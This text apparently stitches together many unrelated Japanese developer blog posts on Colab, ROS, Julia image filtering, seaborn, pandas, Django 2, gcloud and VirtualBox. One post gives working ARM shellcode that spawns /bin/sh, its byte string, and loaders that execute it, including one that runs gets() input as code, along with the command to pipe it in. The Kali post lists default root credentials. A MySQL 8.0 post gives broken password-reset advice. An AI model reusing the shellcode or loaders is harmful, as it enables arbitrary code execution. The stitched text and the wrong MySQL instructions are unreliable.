Google Drive Colaboratory Notebook でGPU計算を試してみる


Google Drive に入れたJupyter Notebook ファイルでColaboratoryを使ってGPU計算する設定を有効化しみていたと思います。

.ipynb ファイルを選択し、「アプリで開く」で「Colaboratory」を選択します。

![GoogleDriveNotebook1.png](https://qiita-image-store.s3.amazonaws.com/0/94200/7bec5db9-24d3-0ffe-b282-1529cdf65de9.png)

Jupyter Notebook　が開きます。

![GoogleDriveNotebook2.png](https://qiita-image-store.s3.amazonaws.com/0/94200/72ba7885-178a-8538-8f57-d8421a5a42e1.png)

「ランタイム」で「ノートブックの設定」でGPUを有効化します。

![GoogleDriveNotebook3.png](https://qiita-image-store.s3.amazonaws.com/0/94200/22b99172-46af-a922-4a51-7c15f482328b.png)

違うアプリケーションで認識されるようになります。

![GoogleDriveNotebook4.png](https://qiita-image-store.s3.amazonaws.com/0/94200/717a6814-252d-3fab-7197-5c6b614a4a6a.png)
ROS講座64 ROSパッケージのディレクトリ構成

# 環境
この記事は以下の環境で動いています。

| 項目 | 値 |
|:-:|:-:|
| CPU | Core i5-8250U |
| Ubuntu | 16.04 |
| ROS | Kinetic |

インストールについては[ROS講座02 インストール](https://qiita.com/srs/items/e0e0a9dc3f94c2d3348e)を参照してください。
またこの記事のプログラムはgithubにアップロードされています。[ROS講座11 gitリポジトリ](https://qiita.com/srs/items/25a56a6abda41dcf396e)を参照してください。
# 概要
ROSパッケージにはいろいろなファイルやディレクトリを含みます。それらについて一度整理してみます。
（随時書き足していきます）

# 基本的な構成
全てのROSのファイルはcatkinワークスペースの下に置かれます(catkin_init_workspaceで初期化したもの)。
ユーザーが各コードはその下のsrcディレクトリ以下に置きます。buildとdevelはcatkin_makeした時に生成されます。catkinワークスペースの名前はcatkin_wsが多く使われますが、なんでもかまいません。また複数のcatkinワークスペースを1つのPCの中で使うこともできます。

```text:基本的なディレクトリ構成
catkin_ws/
 ├ build
 ├ devel
 └ src
    ├ meta_package1/
    │  ├ packageA/
    │  │  ├ src/
    │  │  │  ├ code1.cpp
    │  │  │  └ code2.cpp
    │  │  ├ scripts/
    │  │  │  ├ script1.py
    │  │  │  └ script2.py
    │  │  ├ launch/
    │  │  │  ├ launch1.launch
    │  │  │  └ launch2.launch
    │  │  ├ CMakeList.txt
    │  │  └ package.xml
    │  └ packageB/
    │     └.......
    ├ meta_package2/
    │  └.......
    └ packageC/
       └.....
```

# パッケージとメタパッケージ
ROSのプログラムの最小単位はパッケージです（上記の図でpackageAやpackageB、packageCとなっているもの）。パッケージの名前はユニークでないといけません。
また、これはcatkin_ws/src/の下に置きますが、直下でもよいですし直下でなくても構いません。間にディレクトリを挟むことができます。この時にこれ（meta_package1やmeta_package2）をメタパッケージと呼びます。2階層以上挟むこともできます。

# ROSパッケージ内のディレクトリ
基本的に大体のディレクトリ名は任意です。ディレクトリーの分け方も一例と思ってください。

##　よく使うもの
* src/  
.cppや.hファイルを置きます。しかしファイルの位置は後でCMakeListで指定するので、実はsrcフォルダを作るのは必須ではありません。またsrcの中にフォルダを作ってその中に入れてもよいです。個人的には1つのノードが複数のファイルで構成されるなら、それらを1つのディレクトリーにまとめるのを推奨します。
※ROSwikiでは`src/package_name/`のようにパッケージ名のディレクトリを作ってその下に入れるのを推奨していますが、あまりそういうディレクトリ構成を見たことがありません。
* scripts/  
スクリプトを置きます。主にpythonで書いたファイルを置くところですが、設定ようなどshell scriptを置くこともできます（.shでもrosrunで起動できます）。実行権限を付けるのを忘れずに。ROSが頑張ってファイルを探すので、これもscriptsという名前である必要はありません。
* launch/  
roslaunch用のファイルを置いておくところです。これもROSが頑張って探すので実はlaunch/というディレクトリー名は必須ではありません。
* CMakeList.txt(名前固定・必須)  
ディレクトリーではなくファイルですが。ビルド(=catkin_make)時に読み込まれるファイルです。cppファイルのコンパイルの条件などを書きます。
* package.xml(名前固定・必須)  
ROSパッケージとして必須の情報が書いてあります。実はROSパッケージ名はディレクトリ名で決まるのではなくこのファイルの中のnameタグ（例えば`<name>basic_lecture</name>`となっているところ）で決まります。なのでディレクトリ名を変えてもこのファイルを変えないと、ROSパッケージとして認識される名前は変わりません。

## 実行ファイル系
* include/package_name/  
.hファイルを置く場所です。ほかのパッケージから読み込むものは上のようにパッケージ名のディレクトリの下に置くべきです。
* msg/(名前固定？)  
カスタムROSメッセージファイルを置く場所です。
* srv/(名前固定？)  
カスタムROSサービスファイルを置く場所です。

## Rviz関連
* rviz  
rvizのビューの設定ファイルを置きます。
* urdf  
urdfファイルを置きます。
* xacro  
xacroファイルを置きます。

## gazebo関連
* worlds  
gazeboのworldファイルを置きます。
* models  
gazeboのモデルのsdfファイルを置きます。

## 他
* config  
YAMLなどのROSのコンフィグファイルを置きます。
* cfg  
Dynamic Reconfigure用のファイルを置きます（configと紛らわしいですね）。
* www  
ROSWWWで参照するHTMLファイルを置きます。
* recources  
rosbagやPDF等の参考ファイルを置きます。
* platformio  
マイコン用のプロジェクトファイルを置きます。

# 参考
[ROSwiki: ROSのパッケージ](http://library.isr.ist.utl.pt/docs/roswiki/Packages.html)

# 目次ページへのリンク
[ROS講座の目次へのリンク](https://qiita.com/srs/items/5f44440afea0eb616b4a)
JuliaImagesの備忘録その３

# ImageFiltering.jl

この記事は[ImageFiltering](https://juliaimages.github.io/ImageFiltering.jl/stable/)のページを参考に試した内容です。Factored kernel(詳細は次回)の部分は勉強になりました。

ImageFiltering(Imagesパッケージの一つ)は配列に対する線形および非線形フィルタリングをサポートします。`imfilter`という関数と、共通カーネル（フィルタ）を提供する`Kernel`モジュールと`KernelFactors`モジュールから構成されています。

## デモ

```Julia
using Images, ImageFiltering
using TestImages

img = testimage("cameraman")

imgg = imfilter(img, Kernel.gaussian(3))
imgl = imfilter(img, Kernel.Laplacian())
imgl_ = (imgl .+ 1.0) ./ 2.0
images = hcat(img, imgg, imgl_)

save("demo.png", images)
```

![demo.png](https://qiita-image-store.s3.amazonaws.com/0/171142/a5548e34-0840-b16b-c3b9-d724cddd33f9.png)


## 線形フィルタリング

### 畳み込みではなく、相関

(原文だと「Correlation, not convolution」なのですが、どう訳すのがいいんでしょう。)

ImageFilteringでは、入力画像`A`をカーネル`K`でフィルタリングした画像`F`は次の式で計算されます。

```math
F[I] = \sum_J A[I+J]K[J]
```

畳み込みを計算したければ、カーネルに対して`reflect`を作用させればよいとのこと。

### カーネルのインデックス

カーネルのインデックスには`OffsetArray`が使われています。

```Julia
julia> kernel = Kernel.gaussian(1)
OffsetArray(::Array{Float64,2}, -2:2, -2:2) with eltype Float64 with indices -2:2×-2:2:
 0.00296902  0.0133062  0.0219382  0.0133062  0.00296902
 0.0133062   0.0596343  0.0983203  0.0596343  0.0133062
 0.0219382   0.0983203  0.162103   0.0983203  0.0219382
 0.0133062   0.0596343  0.0983203  0.0596343  0.0133062
 0.00296902  0.0133062  0.0219382  0.0133062  0.00296902
```

上記の場合、インデックスは各軸に対して`-2:2`となっており、`[0, 0]`がカーネルの中心に来るようになっています。このおかげで、フィルタリングによって画像がシフトしなくなります。

自分で作成したカーネルには、`centered`関数を通せば`OffsetArray`になります。

```Julia
julia> centered([1 0 1; 0 1 0; 1 0 1])
OffsetArrays.OffsetArray{Int64,2,Array{Int64,2}} with indices -1:1×-1:1:
 1  0  1
 0  1  0
 1  0  1
```

### Factored kernels

ガウシアンカーネルなどのよく使われるカーネルは*separable*という性質を持ちます。*separable*なカーネルとは、$K[j_1, j_2, ...]$が$K_1[j_1]K_2[j_2]$と書けるカーネルのことです。このとき、相関の式

```math
F[i_1, i_2] = \sum_{j_1, j_2}A[i_1+j_1, i_2+j_2] K[j_1, j_2]
```

は

```math
F[i_1, i_2] = \sum_{j_2} \left( \sum_{j_1}A[i_1+j_1, i_2+j_2] K_1[j_1]
\right) K_2[j_2]
```

と書けます。例えば、カーネルサイズが`mxn`の場合、元の式だと各点で`mn`回の演算が必要なのに対して、変形した式だと`m+n`回の演算で済みます。

この性質を利用して*separable*なカーネルで効率的にフィルタリングするための補助関数として、`Kernelfactor.kernelfactors`が用意されています。


```Julia
julia> kern1 = centered([1/3, 1/3, 1/3])
OffsetArrays.OffsetArray{Float64,1,Array{Float64,1}} with indices -1:1:
 0.333333
 0.333333
 0.333333

julia> kernf = kernelfactors((kern1, kern1))
(ImageFiltering.KernelFactors.ReshapedOneD{Float64,2,0,OffsetArrays.OffsetArray{Float64,1,Array{Float64,1}}}([0.333333,0.333333,0.333333]),ImageFiltering.KernelFactors.ReshapedOneD{Float64,2,1,OffsetArrays.OffsetArray{Float64,1,Array{Float64,1}}}([0.333333,0.333333,0.333333]))
```

ここから2次元カーネルに変形するには`broadcast(*, kernf...)`を用います。

```Julia
julia> kernp = broadcast(*, kernf...)
OffsetArrays.OffsetArray{Float64,2,Array{Float64,2}} with indices -1:1×-1:1:
 0.111111  0.111111  0.111111
 0.111111  0.111111  0.111111
 0.111111  0.111111  0.111111

julia> imfilter(img, kernf) ≈ imfilter(img, kernp)
true
```

----
今回はここまで。
次回は、Factored kernelsで簡単な比較実験をしてみます。
armでアセンブラ その2

#概要
armでアセンブラやってみた。
シェルコード、書いてみた。

#サンプルコード

```
.text
.global _start
_start:
 	mov 	r0, pc
 	add 	r0, r0, #20
	eor 	r2, r2, r2
 	push 	{r0, r2}
 	mov 	r1, sp
 	mov 	r7, #11
 	svc 	#0
.asciz "/bin/sh"

```

#ローダー書いてみた。

```
#include <stdio.h>

char shellcode[] = "\x0f\x00\xa0\xe1\x14\x00\x80\xe2\x02\x20\x22\xe0\x05\x00\x2d\xe9\x0d\x10\xa0\xe1\x0b\x70\xa0\xe3\x00\x00\x00\xef\x2f\x62\x69\x6e\x2f\x73\x68\x00";

int main()
{
    printf ("sizeof(shellcode) = %d\n", sizeof(shellcode));
    (* (void(*) ()) shellcode)();
}

```

#外部から、読み込む、ローダー書いてみた。

```
#include <stdio.h>

int main()
{
	char buf[40];
	gets(buf);
   (* (void(*) ()) buf)();
}
```

#以下に、すれば動いた。

```
echo -ne "\x0f\x00\xa0\xe1\x14\x00\x80\xe2\x02\x20\x22\xe0\x05\x00\x2d\xe9\x0d\x10\xa0\xe1\x0b\x70\xa0\xe3\x00\x00\x00\xef\x2f\x62\x69\x6e\x2f\x73\x68\x00" > buf6

```
```
(cat buf6; cat) | ./a.out
```


以上。
gcloudコマンドのインストールとリファレンス


いつもドキュメントを探している気がするので、まとめておく。

## インストール

* ここを参考にインストール
    * https://cloud.google.com/sdk/docs/
* `gcloud init`をコマンドラインで実行


## gcloudコマンドのリファレンス
* Webで見る
    * https://cloud.google.com/sdk/gcloud/reference/
* コマンドラインで確認する
    * 適当なところまで打って、`-h`（シンプルな表示）もしくは`--help`（詳しい）する

```
$ gcloud compute instances -h
Usage: gcloud compute instances [optional flags] <group | command>
  group may be           network-interfaces
  command may be         add-access-config | add-labels | add-metadata |
                         add-tags | attach-disk | create |
                         create-with-container | delete | delete-access-config |
                         describe | detach-disk | get-serial-port-output |
                         list | move | remove-labels | remove-metadata |
                         remove-tags | reset | set-disk-auto-delete |
                         set-machine-type | set-scheduling |
                         set-service-account | simulate-maintenance-event |
                         start | stop | tail-serial-port-output | update |
                         update-access-config | update-container

For detailed information on this command and its flags, run:
  gcloud compute instances --help
```

以上です。
(個人的メモ) Ubuntu | Xubuntu 18.04 上の Visual Studio Codeにおいて NVM でインストールした Node でデバッグする

Ubuntu | Xubuntu で nvmを利用可能に `source` するスクリプトは、多くの人が恐らく `~/.bashrc` に記載していると思います。

Visual Studio Codeのデバッガーは `~/.bashrc` を読まないため、デバッグ実行しようとすると、 `Cannot find runtime 'node' on PATH.` とエラーメッセージが表示されます。

stackoverflow 等では、`launch.json` の `runtimeExecutable` にフルパスで書け、とか書かれていますが、 `launch.json` をリポジトリーに上げている場合、そしてWindowsでも同じ `launch.json` を使用している場合、問題があります。


# 解決策

OSのメニューバー? やデスクトップアイコンから起動せずに、ターミナルから起動すれば `node` へのPATHが通るのでデバッグできるようになります。

```bash
$ code
```
* 最近の `code` コマンドは `code&` としなくても、即座に返ってくるようです。

# 参考

[UbuntuにNode.jsをインストールする](https://qiita.com/taketakekaho/items/efc11c0121ea9389f291)
Selenium と google-chrome のサンプル (Golang)

```go:chrome_sample.go
// ---------------------------------------------------------------
//
//	chrome_sample.go
//
//					Sep/23/2018
// ---------------------------------------------------------------
package main

import (
	"github.com/sclevine/agouti"
	"fmt"
	"os"
	"log"
)

// ---------------------------------------------------------------
func main() {


fmt.Fprintf (os.Stderr,"*** 開始 ***\n")


url := "https://ekzemplaro.org/storytelling"
driver := agouti.ChromeDriver()

err := driver.Start() 
if err != nil {
  log.Printf("Failed to start driver: %v", err)
  }


// defer driver.Stop()

page, err := driver.NewPage(agouti.Browser("chrome"))
if err != nil {
  log.Printf("Failed to open page: %v", err)
  }

err = page.Navigate(url)
if err != nil {
  log.Printf("Failed to navigate: %v", err)
  }

fmt.Fprintf (os.Stderr,"*** 終了 ***\n")
}

// ---------------------------------------------------------------
```

```text:Makefile
chrome_sample: chrome_sample.go
	go build chrome_sample.go
clean:
	rm -f chrome_sample
```

コンパイル

```text
$ make
go build chrome_sample.go
```

実行方法

```bash
export PATH=/opt/chromedriver:$PATH
./chrome_sample
```

実行結果
![chrome_sep2301.png](https://qiita-image-store.s3.amazonaws.com/0/179446/76e45c5e-b682-9eda-1ee5-db9c0574f2b5.png)
seaborn setメソッドの使い方まとめ

<h2>前書き</h2>
データ視覚化ライブラリのseabornにはsetメソッドというものがあり、それを使うと簡単にプロットのデザインが変更できます。今回はsetのなかの**style**と**palett**の使い方をまとめました。

**style**はチャートの背景のグリッドの有無や色、**palett**はチャート自体の色合いを調整します。

<a href="https://seaborn.pydata.org/generated/seaborn.set.html" target="_blank" rel="noopener">seaborn.setのより詳細な情報はこちら(seaborn公式サイト)</a>
<h2>視覚化をするデータの作成</h2>

```python

import pandas as pd
import numpy as np

df = pd.DataFrame({'a': np.random.randn(100),
                   'b': np.random.randn(100),
                   'c': np.random.randn(100),
                 'target':np.random.randint(2, size=100)})
```


```python

df.head()
```
![スクリーンショット-2018-09-22-13.58.41.png](https://qiita-image-store.s3.amazonaws.com/0/239266/dc9fa280-730e-a8b1-b437-1fd1dc4968b7.png)


<h2>style</h2>
**darkgrid**

```python
import seaborn as sns
sns.set(style='darkgrid')
sns.scatterplot(x='a', y='b', hue='target', data=df)
```

![download-2.png](https://qiita-image-store.s3.amazonaws.com/0/239266/b7507164-fa54-396f-1295-aaeed2a41bd8.png)

 **whitegrid**

```python

import seaborn as sns
sns.set(style='whitegrid')
sns.scatterplot(x='a', y='b', hue='target', data=df)
```

![download-3.png](https://qiita-image-store.s3.amazonaws.com/0/239266/819909dd-3b48-b80a-fe54-668dae812a8e.png)

**dark**

```python

import seaborn as sns
sns.set(style='dark')
sns.scatterplot(x='a', y='b', hue='target', data=df)
```

![download-4.png](https://qiita-image-store.s3.amazonaws.com/0/239266/c7d639a2-66f5-6e3f-b8db-c24e6a91c215.png)


**white**

```python

import seaborn as sns
sns.set(style='white')
sns.scatterplot(x='a', y='b', hue='target', data=df)
```


![download-5.png](https://qiita-image-store.s3.amazonaws.com/0/239266/66bd6150-53de-a6b5-0d8e-f4339813d7f2.png)

<h2>palette</h2>
**deep**

```python

import seaborn as sns
sns.set(palette='deep')
sns.boxplot(x='target', y='b', data=df)
```

![download-8.png](https://qiita-image-store.s3.amazonaws.com/0/239266/1b5d476d-3a56-a006-ba47-d74d8c847a42.png)


**muted**

```python

import seaborn as sns
sns.set(palette='muted')
sns.boxplot(x='target', y='b', data=df)
```
![download-1-1.png](https://qiita-image-store.s3.amazonaws.com/0/239266/60023849-f5da-7dd0-7303-6c1520243e44.png)


**pastel**

```python
import seaborn as sns
sns.set(palette='pastel')
sns.boxplot(x='target', y='b', data=df)
```

![download-9.png](https://qiita-image-store.s3.amazonaws.com/0/239266/fdb110ae-73c8-f2d9-1dee-71bf9041970c.png)

**bright**

```python

import seaborn as sns
sns.set(palette='bright')
sns.boxplot(x='target', y='b', data=df)
```

![download-2-1.png](https://qiita-image-store.s3.amazonaws.com/0/239266/f24b1569-768f-9a92-1a36-fd7ba4a98988.png)


**dark**

```python
import seaborn as sns
sns.set(palette='dark')
sns.boxplot(x='target', y='b', data=df)
```

![download-3-1.png](https://qiita-image-store.s3.amazonaws.com/0/239266/1a3d8c02-0a8d-e40a-0d49-588593ddab2e.png)

**colorblind**

```python

import seaborn as sns
sns.set(palette='colorblind')
sns.boxplot(x='target', y='b', data=df)
```

![download-5-1.png](https://qiita-image-store.s3.amazonaws.com/0/239266/4c122d4d-9f4e-127e-303b-c5dd12c96a95.png)
MySQL 8.0でrootユーザーのパスワードを変更する

# はじめに
開発用に使うrootのMySQLのパスワードを変更したいと思って調べた時に、MySQL5.7の時とは変更方法が少し異なっていたので自分用にメモしておく。

# 方法

```
> mysql -u root -p
mysql> use mysql;
mysql> update user set authentication_string='パスワード' where User='root';
mysql> flush privileges;
```
Pandasのデータフレームに色を加えて見やすくする

<h2>前書き</h2>
pandasで作成したデータフレームは通常色は付いていませんが、このデータフレームに色を加えて視覚的にデータの内容を把握しやすくしようと思います。

**今回使用するデータを作成**

```python
import pandas as pd
import numpy as np

df = pd.DataFrame({'a': np.random.randn(10),
                   'b': np.random.randn(10),
                   'c': np.random.randn(10),
                 'target':np.random.randint(2, size=10)})

```

欠損値(nan)を作ります。

```python
df.iloc[1,1] = np.nan
```

```python
df.head()
```

![スクリーンショット-2018-09-22-10.52.02-300x150.png](https://qiita-image-store.s3.amazonaws.com/0/239266/55c75c15-15b0-6bf0-97af-747e95556edb.png)


<h2>欠損値の箇所の色を変える</h2>

```python
df.style.highlight_null(null_color='red')
```

![スクリーンショット-2018-09-22-10.53.36-300x210.png](https://qiita-image-store.s3.amazonaws.com/0/239266/8f8686e2-fec1-6b71-f599-7ca7e6979df1.png)


欠損値(nan)の部分が赤く表示されました。
<h2>全体に色をつける</h2>
seabornを使ってデータフレーム全体に色をつけます

```python
import seaborn as sns
​
cm = sns.light_palette("green", as_cmap=True)
df.style.background_gradient(cmap=cm)
```

![スクリーンショット-2018-09-22-11.05.02-300x206.png](https://qiita-image-store.s3.amazonaws.com/0/239266/df63c358-66c4-9b6c-6fd3-95eb9f28a4de.png)

データフレーム全体に色がつきました。数値によって色の濃さが異なりまので、一目で数値の大小がわかります。
<h2>棒グラフを追加する</h2>
データフレームに棒グラフを追加します。

```python
df.style.bar(subset=['a','b','c','target'], align='mid',color=['red', 'green'])
```

![スクリーンショット-2018-09-22-11.10.26.png](https://qiita-image-store.s3.amazonaws.com/0/239266/bb49aac1-34bd-4176-160e-4e9d4599db39.png)


負の数値は赤、正の数値は緑の棒グラフが表示されました。棒グラフの長さはその数値の割合の大きさを表しています。
Pandasで不均衡なデータセットのバランスを調整する

<h2>前書き</h2>
機械学習モデルを構築する際に、トレーニングに使用するデータセット内のターゲット変数(予測したい変数)が不均衡だと色々不都合があるので、多いほうのデータを削除してバランスをとりたい時があります。

この記事は**pandas**を使ってデータセットのバランスを調整する方法を説明します。

不均衡なデータセットに関する詳しい情報を知りたい方はこちらをご覧ください。
<a href="https://machinelearningmastery.com/tactics-to-combat-imbalanced-classes-in-your-machine-learning-dataset/" rel="noopener" target="_blank">あなたのマシン学習データセットの不均衡なクラスと戦うための8つの戦術</a>


<h3>データの作成</h3>
pandasを使って今回使用するデータを作成します。

```python
import pandas as pd
import numpy as np

df = pd.DataFrame({'a': np.random.randn(10),
                   'b': np.random.randn(10),
                   'c': np.random.randn(10),
                 'target':np.random.randint(2, size=10)})
```


```python 
df.head()
```

![スクリーンショット-2018-09-22-10.10.16-300x156.png](https://qiita-image-store.s3.amazonaws.com/0/239266/ae8c2170-70cf-4f63-7b71-b6e554c322f7.png)

```python 
df.target.value_counts().plot.bar()
```

![download-300x207.png](https://qiita-image-store.s3.amazonaws.com/0/239266/49dd8b89-781c-5d38-24e0-80cff276ef61.png)


**target**は0と1で構成されたデータですが、ご覧の通り0と1の数の割合が不均衡となっています。

<h3>データを削除してバランスをとる</h3>
以下のコードによって、特徴targetの1を含むデータを、先頭から3番目までの合計4つ削除します。

```python
df = df.drop(df.loc[df.target == 1].index[0:4])
```

```python 
df.target.value_counts().plot.bar()
```

![download-1-300x203.png](https://qiita-image-store.s3.amazonaws.com/0/239266/c7b0fd94-8a04-3541-d442-7e89520dea22.png)

**target**の割合が均等になりました。

 

<a href="http://pandas.pydata.org/pandas-docs/stable/generated/pandas.DataFrame.loc.html?highlight=loc#pandas.DataFrame.loc" rel="noopener" target="_blank">DataFrame.locの詳細はこちら(pandas公式サイト)</a>
pythonでhello world

#概要
pythonで、gcc使って、hello worldやってみた。


#サンプルコード


```
import subprocess
import os

def gcc():
    c_file = 'hello.c'
    test_c = """
#include<stdio.h>
int main()
{
	printf("Hello World!\\n");
    return 0;
}
"""
    with open(c_file, 'w') as f:
        f.write(test_c)
    os.system("gcc %s" % c_file)
    result = subprocess.Popen('./a.out', stdout=subprocess.PIPE).communicate()[0]
    for i, v in enumerate(result[:-1].split('\n')):
        print v

if __name__ == '__main__':
  gcc()
  
```

#成果物

https://paiza.io/projects/WZGH-XjK3pxq-zYEruEIbw

以上。
googleのサービスの権限管理のベストプラクティス analytics や google drive などを含む

#権限管理のベストプラクティス
ぼくのかんがえたさいきょうの権限管理　特にgoogle周りに関してです。
スタートアップで最初にまともにやるべきところですが、業務経験がないと、大切さと何が良いのかがわかりにくいので書きました。権限管理の方法はめったに変更できないので、ベストプラクティスを最初から導入する必要があると強く感じでいます。

##用語
組織 organization のなかに groups があります。

##方針
###実現したい状態
一つのグループ管理サービスに全ての管理権限を集中させる。
1 グループで権限管理をしても個人で操作ログがつくなら、グループで権限管理をする。
2 個人のアカウントでログインしないと個人別の操作ログがつかない場合は個人でログインする。

###具体的な行動方針
利用するグループの優先順位は、
1 ブランドアカウント
2 google groups
3 各サービスの権限管理システム
3.1 [G suit](https://support.google.com/a/answer/60781?hl=ja)
有料なので、なくても良い。
3.2 [marketeing platform](https://marketingplatform.google.com/home?)
マーケティングプラットフォームとは, analytics や tag　manager など、マーケティングツールの総称です。

###ブランドアカウント　組織アカウント　googlegroupsの違い
ブランドアカウントは権限のグループの種類が限定されています。
組織アカウントは組織内にグループを作ることが出来ます。
google groups はグループなので、その上位に組織を作ることが出来ません。本当に正しく管理しようとしたら、G suit の組織アカウントを有料で使ってください。

#具体的な設定方法
##公式ブランドアカウントの作り方
[やり方](https://support.google.com/business/answer/6085326)
ブランドアカウントでログイン可能なサービス
これらのサービスはブランドアカウントでログインしたほうがいいでしょう。

- Youtube
- Photos
- Google +
- 新しい search console 画面
 - なせか古い画面だとブランドアカウントが使えない。

### search consoleをブランドアカウントで利用する方法
ブランドアカウントのメールアドレスで権限付与する。
####ブランドアカウントのメールアドレスの取得方法。
google plus などにログインし、ブランドアカウントに切り替え。
右上のアカウントのアイコンをクリック
アカウントを管理という青いボタンを押す。
アカウント全般の情報を表示
個人情報とプライバシーペインの個人情報というリンクをクリック。

##marketeing platform
[組織アカウント](https://support.google.com/business/answer/7663063#orgaccounts)
を利用する。
組織アカウントと google+ アカウントのヒモ付方法
[組織アカウント管理画面](https://marketingplatform.google.com/home/orgs)

![image.png](https://qiita-image-store.s3.amazonaws.com/0/163299/f0433b59-3a7e-7153-7b2a-6227bf230eb8.png)

google + のプロフィール画面の入力規則が非常に分かりづらい。
正解は、
https://plus.google.com/2301839018932230
です。
https://plus.google.com/b/2301839018932230
ではリンクできないので気をつけてください。

#振り返り
google groups が一番最初に出来たグループ管理サービスなので、古くからあるサービスはココに紐付いています。
しかしこのサービスの開発は止まっているので、これで管理するのをできるだけやめていこうと思っています。
しかし、これをやめようとすると G Suitを使わなきゃいけない上に、組織外の人を簡単に加入させられないので、 gropus は使い続けるでしょう。
ブランドアカウントへの切り替えは、普通の人にはあまりなれない手順ですので、なれてもらうまでは、なんでログインできないのか、よく聞かれます。
サイバーセキュリティプログラミング　# 環境構築編

# はじめに
- サイバーセキュリティプログラミングを勉強するために、まずは環境を構築した際のメモ

# Download
- [VirtualBox for Windows](https://download.virtualbox.org/virtualbox/5.2.18/VirtualBox-5.2.18-124319-Win.exe)
- [VirtualBox_Extension_Pack](https://download.virtualbox.org/virtualbox/5.2.18/Oracle_VM_VirtualBox_Extension_Pack-5.2.18.vbox-extpack)
- [Kali Linux 64bit on VirtualBox](https://images.offensive-security.com/virtual-images/kali-linux-2018.3-vbox-amd64.ova)

# 環境構築
1. VirtualBoxをインストールする

2. VirtualBoxを起動する

3. ダウンロードしたExtension_Packをインポートする
　「ファイル」-「環境設定」-「機能拡張」
![csp-fig1.png](https://qiita-image-store.s3.amazonaws.com/0/89366/0b7b073b-d875-83bf-c58d-1b2ab222a118.png)

4. 仮想マシンを作成する
　ダウンロードしたovaファイルをダブルクリックして、インポートする
![csp-fig3.png](https://qiita-image-store.s3.amazonaws.com/0/89366/3be96b43-01ec-b265-0535-3689e253bb35.png)


# Hello Kali Linux

```txt:Login
Username：root
Password：toor
```

![csp-fig2.png](https://qiita-image-store.s3.amazonaws.com/0/89366/6bd6d74d-425a-f422-ff88-077fae51e332.png)


# 参考リンク
- [Kali Linux](https://www.kali.org/)
- [Free Kali Linux training](https://kali.training/topic/preface/)
- [『サイバーセキュリティプログラミング』のサポートページ](https://github.com/oreilly-japan/black-hat-python-jp-support)
- [VirtualBox.org](https://www.virtualbox.org/)
VirtualBoxアップデートでのエラーの時

Dockerマシーンの起動が遅くDockerのアップデートしたけど、なかなか表示されないのでVirtualBox最新版のがあるのかなーとみたらあったのでこれはアップデートしなきゃ動かなそうだなと思ってアップデートしようとしたらこんなエラーがでたので解決策を。でもってVirtualBox最新にしてマシーンも再起動したら無事くじらさんも現われました！

もしかしたらVirtualBoxのアップデートとかしなくてもVirtualBoxの使うマシーン電源切って再起動すればよかったのかも…とも思いました( ･ὢ･ ) 

Running VirtualBox virtual machines detected!

The installer has detected running virtual machines. Please shut down all running VirtualBox machines and then restart the installation.

<img width="621" alt="スクリーンショット 2018-09-23 5.12.51.png" src="https://qiita-image-store.s3.amazonaws.com/0/133940/9c353363-b772-4223-6846-bf92bca350a0.png">


解決策:
起動中のものを停止すればいいので

起動しているものを以下の画像の状態にする一時停止でなく電源OFF
<img width="328" alt="スクリーンショット 2018-09-23 5.14.53.png" src="https://qiita-image-store.s3.amazonaws.com/0/133940/33b6a576-a8e8-561d-eb66-02cfee9c1517.png">

方法以下
・アプリアイコンで起動
<img width="224" alt="スクリーンショット 2018-09-23 5.16.23.png" src="https://qiita-image-store.s3.amazonaws.com/0/133940/20f3cd14-58f7-1ee0-a4cb-80d02742e4ef.png">

・実行中や一時停止のものを全て電源OFFに
<img width="827" alt="スクリーンショット 2018-09-23 5.17.37.png" src="https://qiita-image-store.s3.amazonaws.com/0/133940/75b95c5a-1aad-d528-d54e-84fb1ab16e3d.png">

・この後に一回インストーラーを閉じて再度同じようにインストールすればできるはず。

:hatched_chick:一時停止でよし、あれ？っとおもちゃったのでこんな方もいるかもと書いてみました。
サイト見てDjango2試してみたけど、できなかった人向け

## はじめに
PythonのWebアプリケーション（Django）を初心者にもわかりやすく解説 (https://qiita.com/yoshizaki_kkgk/items/f3c79e38b802c7fc8863)
こちらのサイトでDjangoの導入をやっても、自分の環境では２つ上手くいかなかった点があったのでまとめました。

## 開発環境
・OS: macOS High Sierra(10.13)

```
$ python3 -V
Python 3.6.5 :: Anaconda, Inc.
```
```
django.get_version()
'2.1.1'
```
## モデルの作成

```blog/models.py
from django.db import models
from django.utils import timezone

class Post(models.Model):
    author = models.ForeignKey('auth.User')
    title  = models.CharField(max_length=200)
    text   = models.TextField()
    created_date = models.DateTimeField(default=timezone.now)
    published_date = models.DateTimeField(blank=True, null=True)

    def publish(self):
        self.published_date = timezone.now()
        self.save()

    def __str__(self):
        return self.title
```

とありますが、Django2になってから以下のようなエラーが出ます。

```
TypeError: __init__() missing 1 required positional argument: 'on_delete'
```
そこで、以下のように書き換えましょう。
on_deleteを追加してあげています。

```blog/models.py
from django.db import models
from django.utils import timezone

class Post(models.Model):
    author = models.ForeignKey("auth.User", on_delete=models.CASCADE)
    title  = models.CharField(max_length=200)
    text   = models.TextField()
    created_date = models.DateTimeField(default=timezone.now)
    published_date = models.DateTimeField(blank=True, null=True)

    def publish(self):
        self.published_date = timezone.now()
        self.save()

    def __str__(self):
        return self.title
```

## ルーティングの設定

```myapp/urls.py
from django.conf.urls import include, url
from django.contrib import admin

urlpatterns = [
    url(r'^admin/', include(admin.site.urls)),
    url(r'', include('blog.urls')),
]
```
このままだと、以下のようにテンプレートが見つからないとか言われてしまいます。

```
TemplateDoesNotExist at /
```

そこで、こんな感じに書き換えてあげましょう。
adminのurlをpathに変更しています。
すると、ちゃんとテンプレートを見つけてくれます。

```myapp/urls.py
from django.conf.urls import include, url
from django.contrib import admin
from django.urls import path

urlpatterns = [
    path('admin/', admin.site.urls),
    url(r'', include('blog.urls')),
]
```